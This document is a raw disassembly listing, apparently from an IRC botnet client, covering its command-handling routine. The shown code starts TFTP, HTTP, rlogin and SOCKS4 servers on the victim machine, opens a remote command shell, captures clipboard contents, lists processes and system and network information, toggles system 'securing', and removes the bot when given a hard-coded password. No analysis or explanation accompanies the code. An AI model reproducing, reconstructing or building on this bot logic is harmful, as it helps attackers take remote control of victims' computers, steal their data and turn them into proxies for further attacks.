loc_40CB28: ; CODE XREF: sub_4089DC+181Dj ; sub_4089DC+1831j push 5 call sub_41248A test eax, eax pop ecx jle short loc_40CB4C lea eax, [ebp+var_2F0] push offset aTftpAlreadyRun ; "[TFTP]: Already running." push eax call sub_414415 xor edi, edi jmp loc_40E19A ; --------------------------------------------------------------------------- loc_40CB4C: ; CODE XREF: sub_4089DC+4156j mov eax, [ebp+ebx+var_A4] xor edi, edi cmp eax, edi mov esi, 104h jz short loc_40CB71 push eax lea eax, [ebp+var_1458] push esi push eax call sub_41466D add esp, 0Ch jmp short loc_40CB80 ; --------------------------------------------------------------------------- loc_40CB71: ; CODE XREF: sub_4089DC+4180j push esi lea eax, [ebp+var_1458] push eax push edi call ds:dword_420010 ; GetModuleFileNameA loc_40CB80: ; CODE XREF: sub_4089DC+4193j mov ebx, [ebp+ebx+var_A0] cmp ebx, edi jnz short loc_40CB90 mov ebx, offset byte_42BF4C loc_40CB90: ; CODE XREF: sub_4089DC+41ADj push ebx lea eax, [ebp+var_1354] push esi push eax call sub_41466D mov eax, dword_42BEBC mov [ebp+var_1248], eax mov eax, [ebp+arg_4] push 7Fh push [ebp+var_A0] mov [ebp+var_145C], eax lea eax, [ebp+var_1244] push eax mov [ebp+var_124C], edi call sub_4144A0 mov eax, [ebp+var_4] mov [ebp+var_11C4], eax mov eax, [ebp+var_C] mov [ebp+var_11C0], eax lea eax, [ebp+var_1354] push eax lea eax, [ebp+var_1458] push eax push [ebp+var_1248] lea eax, [ebp+var_2F0] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_414415 push edi lea eax, [ebp+var_2F0] push 5 push eax call sub_41229A add esp, 38h mov [ebp+var_1250], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_145C] push eax push offset sub_411DD2 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_1250] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40CC72 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "... push eax call sub_414415 add esp, 0Ch jmp loc_40E19C ; --------------------------------------------------------------------------- loc_40CC6A: ; CODE XREF: sub_4089DC+429Cj push 32h call ds:dword_420000 ; Sleep loc_40CC72: ; CODE XREF: sub_4089DC+426Cj cmp [ebp+var_11BC], edi jz short loc_40CC6A jmp loc_40E19C ; --------------------------------------------------------------------------- loc_40CC7F: ; CODE XREF: sub_4089DC+17F5j ; sub_4089DC+1809j mov esi, [ebp+ebx+var_A4] test esi, esi jz short loc_40CC9E push esi call sub_4147A2 test eax, eax pop ecx jz short loc_40CC9E push esi call sub_4147A2 pop ecx jmp short loc_40CCA3 ; --------------------------------------------------------------------------- loc_40CC9E: ; CODE XREF: sub_4089DC+42ACj ; sub_4089DC+42B7j mov eax, dword_42BEC0 loc_40CCA3: ; CODE XREF: sub_4089DC+42C0j mov ebx, [ebp+ebx+var_A0] mov [ebp+var_980], eax xor eax, eax cmp [ebp+var_458], al setz al xor edi, edi cmp ebx, edi mov [ebp+var_96C], eax jz short loc_40CCD8 lea eax, [ebp+var_A84] push ebx push eax call sub_414415 pop ecx pop ecx jmp short loc_40CD03 ; --------------------------------------------------------------------------- loc_40CCD8: ; CODE XREF: sub_4089DC+42E9j push 104h lea eax, [ebp+var_8D0] push eax call ds:dword_420048 ; GetSystemDirectoryA push edi push edi push edi lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_8D0] push eax call sub_415B3D add esp, 14h loc_40CD03: ; CODE XREF: sub_4089DC+42FAj lea eax, [ebp+var_A84] lea edx, [eax+1] loc_40CD0C: ; CODE XREF: sub_4089DC+4335j mov cl, [eax] inc eax test cl, cl jnz short loc_40CD0C sub eax, edx cmp [ebp+eax+var_A85], 5Ch jnz short loc_40CD38 lea eax, [ebp+var_A84] lea edx, [eax+1] loc_40CD28: ; CODE XREF: sub_4089DC+4351j mov cl, [eax] inc eax test cl, cl jnz short loc_40CD28 sub eax, edx and [ebp+eax+var_A85], cl loc_40CD38: ; CODE XREF: sub_4089DC+4341j push [ebp+var_A0] mov esi, [ebp+arg_4] lea eax, [ebp+var_D0C] push 80h push eax mov [ebp+var_D10], esi call sub_41466D mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 0Ch mov [ebp+var_970], eax lea eax, [ebp+var_A84] push eax push [ebp+var_980] mov [ebp+var_974], ebx push esi call sub_407D15 pop ecx push eax lea eax, [ebp+var_2F0] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_414415 push edi lea eax, [ebp+var_2F0] push 4 push eax call sub_41229A add esp, 20h mov [ebp+var_978], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_D10] push eax push offset sub_404EE8 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40CDF3 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"... jmp loc_40B2E0 ; --------------------------------------------------------------------------- loc_40CDEB: ; CODE XREF: sub_4089DC+441Dj push 32h call ds:dword_420000 ; Sleep loc_40CDF3: ; CODE XREF: sub_4089DC+43FCj cmp [ebp+var_964], edi jz short loc_40CDEB jmp loc_40B2EF ; --------------------------------------------------------------------------- loc_40CE00: ; CODE XREF: sub_4089DC+17CDj ; sub_4089DC+17E1j mov esi, [ebp+ebx+var_A4] test esi, esi jz short loc_40CE1F push esi call sub_4147A2 test eax, eax pop ecx jz short loc_40CE1F push esi call sub_4147A2 pop ecx jmp short loc_40CE24 ; --------------------------------------------------------------------------- loc_40CE1F: ; CODE XREF: sub_4089DC+442Dj ; sub_4089DC+4438j mov eax, dword_42BEC4 loc_40CE24: ; CODE XREF: sub_4089DC+4441j mov [ebp+var_D2C], eax mov eax, [ebp+ebx+var_A0] xor edi, edi cmp eax, edi jnz short loc_40CE3D lea eax, [ebp+var_F0] loc_40CE3D: ; CODE XREF: sub_4089DC+4459j push eax lea eax, [ebp+var_E6C] push 40h push eax call sub_41466D mov ebx, [ebp+ebx+var_9C] add esp, 0Ch cmp ebx, edi jnz short loc_40CE5F mov ebx, 420AEAh loc_40CE5F: ; CODE XREF: sub_4089DC+447Cj push ebx lea eax, [ebp+var_E2C] push 100h push eax call sub_41466D push [ebp+var_A0] lea eax, [ebp+var_EEC] push 80h push eax call sub_41466D mov eax, [ebp+var_C] mov esi, [ebp+arg_4] mov ebx, [ebp+var_4] add esp, 18h mov [ebp+var_D18], eax lea eax, [ebp+var_E6C] push eax push [ebp+var_D2C] mov [ebp+var_EF0], esi push esi mov [ebp+var_D1C], ebx call sub_407D15 pop ecx push eax lea eax, [ebp+var_2F0] push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"... push eax call sub_414415 push edi lea eax, [ebp+var_2F0] push 7 push eax call sub_41229A add esp, 20h mov [ebp+var_D28], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_EF0] push eax push offset sub_40F6E5 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_D28] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40CF2C call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"... jmp loc_40B2E0 ; --------------------------------------------------------------------------- loc_40CF24: ; CODE XREF: sub_4089DC+4556j push 32h call ds:dword_420000 ; Sleep loc_40CF2C: ; CODE XREF: sub_4089DC+4535j cmp [ebp+var_D14], edi jz short loc_40CF24 jmp loc_40B2EF ; --------------------------------------------------------------------------- loc_40CF39: ; CODE XREF: sub_4089DC+17A5j ; sub_4089DC+17B9j mov ebx, [ebp+ebx+var_A4] test ebx, ebx jz short loc_40CF4C push ebx call sub_4147A2 jmp short loc_40CF53 ; --------------------------------------------------------------------------- loc_40CF4C: ; CODE XREF: sub_4089DC+4566j push 9 call sub_4124A9 loc_40CF53: ; CODE XREF: sub_4089DC+456Ej test eax, eax pop ecx jz loc_40E4AE push eax push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_4010CA jmp loc_40D442 ; --------------------------------------------------------------------------- loc_40CF73: ; CODE XREF: sub_4089DC+177Dj ; sub_4089DC+1791j mov eax, dword_4358EC test eax, eax jz short loc_40CF96 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2F0] jz short loc_40CF8F push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_40CFB7 ; --------------------------------------------------------------------------- loc_40CF8F: ; CODE XREF: sub_4089DC+45AAj push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_40CFB7 ; --------------------------------------------------------------------------- loc_40CF96: ; CODE XREF: sub_4089DC+459Ej push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." lea eax, [ebp+var_2F0] jmp short loc_40CFB7 ; --------------------------------------------------------------------------- loc_40CFA3: ; CODE XREF: sub_4089DC+1755j ; sub_4089DC+1769j call sub_407C37 test eax, eax lea eax, [ebp+var_2F0] jz short loc_40CFC7 push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." loc_40CFB7: ; CODE XREF: sub_4089DC+45B1j ; sub_4089DC+45B8j ... push 200h push eax call sub_41466D jmp loc_40D8D4 ; --------------------------------------------------------------------------- loc_40CFC7: ; CODE XREF: sub_4089DC+45D4j push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." jmp short loc_40CFB7 ; --------------------------------------------------------------------------- loc_40CFCE: ; CODE XREF: sub_4089DC+172Dj ; sub_4089DC+1741j cmp [ebp+var_C], 0 jnz short loc_40CFEF push 0 push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40CFEF: ; CODE XREF: sub_4089DC+45F6j push 0 push [ebp+var_4] call sub_406874 push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF push offset aMainGetClipboa ; "[MAIN]: Get Clipboard." jmp loc_40D30B ; --------------------------------------------------------------------------- loc_40D012: ; CODE XREF: sub_4089DC+139Ej ; sub_4089DC+13B2j push 8 call sub_41248A test eax, eax pop ecx jle short loc_40D028 push offset aCmdRemoteShell ; "[CMD]: Remote shell already running." jmp loc_40C621 ; --------------------------------------------------------------------------- loc_40D028: ; CODE XREF: sub_4089DC+4640j push [ebp+var_A0] push [ebp+arg_4] call sub_40F292 cmp eax, 0FFFFFFFFh pop ecx pop ecx jnz short loc_40D047 push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell." jmp loc_40C621 ; --------------------------------------------------------------------------- loc_40D047: ; CODE XREF: sub_4089DC+465Fj push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready." jmp loc_40C621 ; --------------------------------------------------------------------------- loc_40D051: ; CODE XREF: sub_4089DC+1376j ; sub_4089DC+138Aj push [ebp+var_C] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_406359 jmp loc_40D32C ; --------------------------------------------------------------------------- loc_40D06A: ; CODE XREF: sub_4089DC+134Ej ; sub_4089DC+1362j push [ebp+ebx+var_A4] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_402DDF jmp loc_40D32C ; --------------------------------------------------------------------------- loc_40D087: ; CODE XREF: sub_4089DC+1326j ; sub_4089DC+133Aj or esi, 0FFFFFFFFh call ds:dword_420004 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, [ebp+ebx+var_A4] test ebx, ebx mov edi, eax jz short loc_40D0AF push ebx call sub_4147A2 pop ecx mov esi, eax loc_40D0AF: ; CODE XREF: sub_4089DC+46C8j xor edx, edx mov eax, edi mov ecx, 15180h div ecx cmp eax, esi jnb short loc_40D0C7 cmp esi, 0FFFFFFFFh jnz loc_40E4AE loc_40D0C7: ; CODE XREF: sub_4089DC+46E0j push 0 call sub_411551 push eax lea eax, [ebp+var_2F0] push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s." push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF lea eax, [ebp+var_2F0] push eax call sub_401EFF loc_40D106: ; CODE XREF: sub_4089DC+24B3j add esp, 28h jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40D10E: ; CODE XREF: sub_4089DC+12FEj ; sub_4089DC+1312j push 1Fh call sub_41248A test eax, eax pop ecx jle short loc_40D144 cmp [ebp+var_C], 0 jnz loc_408C5A push 0 push [ebp+var_4] push offset aProcAlreadyRun ; "[PROC]: Already running." loc_40D12E: ; CODE XREF: sub_4089DC+1F36j push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40D144: ; CODE XREF: sub_4089DC+473Cj push [ebp+var_A0] lea eax, [ebp+var_450] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A4] and [ebp+var_3CC], 0 mov [ebp+var_454], eax mov eax, [ebp+var_4] mov [ebp+var_3C8], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_3C4], eax jz short loc_40D1A5 push 5 mov edi, ebx mov esi, offset aFull ; "full" pop ecx xor eax, eax repe cmpsb jnz short loc_40D1A5 mov [ebp+var_3CC], 1 loc_40D1A5: ; CODE XREF: sub_4089DC+47ADj ; sub_4089DC+47BDj lea eax, [ebp+var_2F0] push offset aProcsProccessL ; "[PROCS]: Proccess list." push eax call sub_414415 xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Fh push eax call sub_41229A add esp, 14h mov [ebp+var_3D0], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_454] push eax push offset sub_4084DD push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_3D0] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40D227 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"... push eax call sub_414415 add esp, 0Ch jmp loc_40C063 ; --------------------------------------------------------------------------- loc_40D21F: ; CODE XREF: sub_4089DC+4851j push 32h call ds:dword_420000 ; Sleep loc_40D227: ; CODE XREF: sub_4089DC+4821j cmp [ebp+var_3C0], esi jz short loc_40D21F jmp loc_40C063 ; --------------------------------------------------------------------------- loc_40D234: ; CODE XREF: sub_4089DC+12D6j ; sub_4089DC+12EAj mov ebx, [ebp+ebx+var_A4] test ebx, ebx jz loc_408C5A mov esi, ebx mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40D24A: ; CODE XREF: sub_4089DC+488Aj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_40D26C test cl, cl jz short loc_40D268 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_40D26C inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40D24A loc_40D268: ; CODE XREF: sub_4089DC+4878j xor eax, eax jmp short loc_40D271 ; --------------------------------------------------------------------------- loc_40D26C: ; CODE XREF: sub_4089DC+4874j ; sub_4089DC+4882j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40D271: ; CODE XREF: sub_4089DC+488Ej test eax, eax jnz loc_408C5A cmp [ebp+var_C], eax jnz short loc_40D298 push eax push [ebp+var_4] push offset aMainRemovingBo ; "[MAIN]: Removing Bot." push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40D298: ; CODE XREF: sub_4089DC+48A0j push [ebp+arg_4] call dword_435914 ; closesocket call dword_435920 ; WSACleanup call sub_4069F7 jmp loc_40D9E7 ; --------------------------------------------------------------------------- loc_40D2B1: ; CODE XREF: sub_4089DC+12AEj ; sub_4089DC+12C2j push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push eax call sub_4116D2 pop ecx pop ecx push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF push offset aMainSystemInfo ; "[MAIN]: System Info." jmp short loc_40D30B ; --------------------------------------------------------------------------- loc_40D2DD: ; CODE XREF: sub_4089DC+1286j ; sub_4089DC+129Aj push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_411939 add esp, 0Ch push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF push offset aMainNetworkInf ; "[MAIN]: Network Info." loc_40D30B: ; CODE XREF: sub_4089DC+4631j ; sub_4089DC+48FFj call sub_401EFF loc_40D310: ; CODE XREF: sub_4089DC+339Dj add esp, 18h jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40D318: ; CODE XREF: sub_4089DC+125Ej ; sub_4089DC+1272j push [ebp+var_C] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_401F9F loc_40D32C: ; CODE XREF: sub_4089DC+1DFj ; sub_4089DC+4689j ... add esp, 10h jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40D334: ; CODE XREF: sub_4089DC+1236j ; sub_4089DC+124Aj and [ebp+var_85C], 0 cmp [ebp+var_14], 0 jz short loc_40D375 mov ebx, [ebp+ebx+var_A4] test ebx, ebx jz short loc_40D375 push ebx push [ebp+var_14] call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_40D375 push eax push offset aS_2 ; "%s" lea eax, [ebp+var_85C] push 80h push eax call sub_41466D add esp, 10h loc_40D375: ; CODE XREF: sub_4089DC+4963j ; sub_4089DC+496Ej ... push [ebp+var_A0] lea eax, [ebp+var_8DC] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov [ebp+var_8E0], eax mov eax, [ebp+var_4] mov [ebp+var_7D8], eax mov eax, [ebp+var_C] mov [ebp+var_7D4], eax lea eax, [ebp+var_2F0] push offset aLogListingLog_ ; "[LOG]: Listing log." push eax call sub_414415 xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Dh push eax call sub_41229A add esp, 20h mov [ebp+var_7DC], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_8E0] push eax push offset sub_402011 push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_7DC] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40D41A call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "... jmp loc_40E667 ; --------------------------------------------------------------------------- loc_40D412: ; CODE XREF: sub_4089DC+4A44j push 32h call ds:dword_420000 ; Sleep loc_40D41A: ; CODE XREF: sub_4089DC+4A23j cmp [ebp+var_7D0], esi jz short loc_40D412 jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40D427: ; CODE XREF: sub_4089DC+120Ej ; sub_4089DC+1222j push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_401E87 push offset aMainAliasList_ ; "[MAIN]: Alias list." call sub_401EFF loc_40D442: ; CODE XREF: sub_4089DC+4592j add esp, 10h jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40D44A: ; CODE XREF: sub_4089DC+11E6j ; sub_4089DC+11FAj push [ebp+var_A0] lea eax, [ebp+var_384] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A4] mov [ebp+var_388], eax mov eax, [ebp+var_4] mov [ebp+var_2FC], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_2F8], eax jz short loc_40D4A3 push 4 xor eax, eax mov edi, offset aSub ; "sub" mov esi, ebx pop ecx repe cmpsb setz al mov [ebp+var_300], eax jmp short loc_40D4AA ; --------------------------------------------------------------------------- loc_40D4A3: ; CODE XREF: sub_4089DC+4AACj and [ebp+var_300], 0 loc_40D4AA: ; CODE XREF: sub_4089DC+4AC5j lea eax, [ebp+var_2F0] push offset aThreadsListThr ; "[THREADS]: List threads." push eax call sub_414415 xor esi, esi push esi lea eax, [ebp+var_2F0] push 20h push eax call sub_41229A add esp, 14h mov [ebp+var_304], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_388] push eax push offset sub_41259B push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_304] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40D52C call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"... push eax call sub_414415 add esp, 0Ch jmp loc_40A0E4 ; --------------------------------------------------------------------------- loc_40D524: ; CODE XREF: sub_4089DC+4B56j push 32h call ds:dword_420000 ; Sleep loc_40D52C: ; CODE XREF: sub_4089DC+4B26j cmp [ebp+var_2F4], esi jz short loc_40D524 jmp loc_40A0E4 ; --------------------------------------------------------------------------- loc_40D539: ; CODE XREF: sub_4089DC+116Cj ; sub_4089DC+1180j push offset aBot014 ; "Bot014" lea eax, [ebp+var_2F0] push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s." push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 20h jmp loc_40A0E4 ; --------------------------------------------------------------------------- loc_40D571: ; CODE XREF: sub_4089DC+1144j ; sub_4089DC+1158j push dword_47BF18 call sub_411551 push eax lea eax, [ebp+var_2F0] push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s." push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 24h jmp loc_40A0E4 ; --------------------------------------------------------------------------- loc_40D5B0: ; CODE XREF: sub_4089DC+111Cj ; sub_4089DC+1130j mov ebx, [ebp+ebx+var_A4] test ebx, ebx jz short loc_40D5E3 cmp [ebp+var_14], 0 jz short loc_40D5F2 push ebx push [ebp+var_14] call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_40D5F2 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_405674 add esp, 0Ch jmp short loc_40D5F2 ; --------------------------------------------------------------------------- loc_40D5E3: ; CODE XREF: sub_4089DC+4BDDj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_405674 pop ecx pop ecx loc_40D5F2: ; CODE XREF: sub_4089DC+4BE3j ; sub_4089DC+4BF2j ... push 0FFFFFFFEh pop eax jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40D5FA: ; CODE XREF: sub_4089DC+10F4j ; sub_4089DC+1108j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_405674 push offset aMainDisconnect ; "[MAIN]: Disconnecting." call sub_401EFF add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40D61C: ; CODE XREF: sub_4089DC+10CCj ; sub_4089DC+10E0j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_405674 push offset aMainReconnecti ; "[MAIN]: Reconnecting." call sub_401EFF add esp, 0Ch xor eax, eax jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40D63D: ; CODE XREF: sub_4089DC+10A4j ; sub_4089DC+10B8j push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_401000 loc_40D64E: ; CODE XREF: sub_4089DC+3304j add esp, 0Ch jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40D656: ; CODE XREF: sub_4089DC+1004j ; sub_4089DC+1018j push [ebp+ebx+var_A4] push 1Fh push offset aProcessList ; "Process list" push offset aProc ; "[PROC]" jmp short loc_40D67E ; --------------------------------------------------------------------------- loc_40D66B: ; CODE XREF: sub_4089DC+FDCj ; sub_4089DC+FF0j push [ebp+ebx+var_A4] push 1Ch push offset aFindFile ; "Find file" push offset aFindfile_0 ; "[FINDFILE]" loc_40D67E: ; CODE XREF: sub_4089DC+E39j ; sub_4089DC+E61j ... push [ebp+var_C] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_4124D0 add esp, 20h jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40D69A: ; CODE XREF: sub_4089DC+DFCj ; sub_4089DC+E10j mov esi, [ebp+ebx+var_A4] test esi, esi jz short loc_40D6B9 push esi call sub_4147A2 test eax, eax pop ecx jz short loc_40D6B9 push esi call sub_4147A2 pop ecx jmp short loc_40D6BE ; --------------------------------------------------------------------------- loc_40D6B9: ; CODE XREF: sub_4089DC+4CC7j ; sub_4089DC+4CD2j mov eax, dword_42BEB8 loc_40D6BE: ; CODE XREF: sub_4089DC+4CDBj mov ebx, [ebp+ebx+var_A0] xor edi, edi cmp ebx, edi mov [ebp+var_30C], eax jz short loc_40D6E5 push ebx loc_40D6D2: ; CODE XREF: sub_4089DC+4D19j lea eax, [ebp+var_31C] push 10h push eax call sub_41466D add esp, 0Ch jmp short loc_40D6FE ; --------------------------------------------------------------------------- loc_40D6E5: ; CODE XREF: sub_4089DC+4CF3j cmp [ebp+var_45B], 0 jz short loc_40D6F7 lea eax, [ebp+var_F0] push eax jmp short loc_40D6D2 ; --------------------------------------------------------------------------- loc_40D6F7: ; CODE XREF: sub_4089DC+4D10j and [ebp+var_31C], 0 loc_40D6FE: ; CODE XREF: sub_4089DC+4D07j mov eax, [ebp+var_4] push [ebp+var_A0] mov esi, [ebp+arg_4] mov [ebp+var_300], eax mov eax, [ebp+var_C] mov [ebp+var_2FC], eax lea eax, [ebp+var_39C] push 80h push eax mov [ebp+var_3A0], esi call sub_41466D add esp, 0Ch push [ebp+var_30C] push esi call sub_407D15 pop ecx push eax lea eax, [ebp+var_2F0] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_414415 push edi lea eax, [ebp+var_2F0] push 12h push eax call sub_41229A add esp, 1Ch mov [ebp+var_308], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_3A0] push eax push offset sub_410FF6 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40D7B2 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"... jmp loc_40E667 ; --------------------------------------------------------------------------- loc_40D7AA: ; CODE XREF: sub_4089DC+4DDCj push 32h call ds:dword_420000 ; Sleep loc_40D7B2: ; CODE XREF: sub_4089DC+4DBBj cmp [ebp+var_2F8], edi jz short loc_40D7AA jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40D7BF: ; CODE XREF: sub_4089DC+DACj ; sub_4089DC+DC0j ... push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz short loc_40D7E7 mov edi, eax push 4 mov esi, offset aSec ; "sec" pop ecx xor eax, eax repe cmpsb jz short loc_40D7E7 and [ebp+var_3CC], eax jmp short loc_40D7F1 ; --------------------------------------------------------------------------- loc_40D7E7: ; CODE XREF: sub_4089DC+4DF1j ; sub_4089DC+4E01j mov [ebp+var_3CC], 1 loc_40D7F1: ; CODE XREF: sub_4089DC+4E09j push [ebp+var_A0] lea eax, [ebp+var_450] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov [ebp+var_454], eax mov eax, [ebp+var_4] mov [ebp+var_3C8], eax mov eax, [ebp+var_C] xor esi, esi add esp, 0Ch cmp [ebp+var_3CC], esi mov [ebp+var_3C4], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40D83A mov eax, offset aUnsecuring ; "Unsecuring" loc_40D83A: ; CODE XREF: sub_4089DC+4E57j push eax push offset aSecureSSystem_ ; "[SECURE]: %s system." lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D push esi lea eax, [ebp+var_2F0] push 1Ah push eax call sub_41229A add esp, 1Ch mov [ebp+var_3D0], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_454] push eax push offset sub_4104EF push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_3D0] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40D8B1 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... jmp loc_40B88E ; --------------------------------------------------------------------------- loc_40D8A9: ; CODE XREF: sub_4089DC+4EDBj push 32h call ds:dword_420000 ; Sleep loc_40D8B1: ; CODE XREF: sub_4089DC+4EBAj cmp [ebp+var_3C0], esi jz short loc_40D8A9 jmp loc_40D9C2 ; --------------------------------------------------------------------------- loc_40D8BE: ; CODE XREF: sub_4089DC+D84j ; sub_4089DC+D98j push offset aBot0_014 ; "[Bot 0.014]" lea eax, [ebp+var_2F0] push offset aMainS ; "[MAIN]: %s" push eax call sub_414415 loc_40D8D4: ; CODE XREF: sub_4089DC+45E6j add esp, 0Ch jmp loc_40C323 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_4089DC+D5Cj ; sub_4089DC+D70j mov ebx, [ebp+ebx+var_A4] test ebx, ebx jz short loc_40D934 push ebx call sub_4147A2 test eax, eax pop ecx jl short loc_40D92C cmp eax, 2 jge short loc_40D92C mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp byte ptr [esi], 0 jz short loc_40D924 lea eax, [esi+1] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_414415 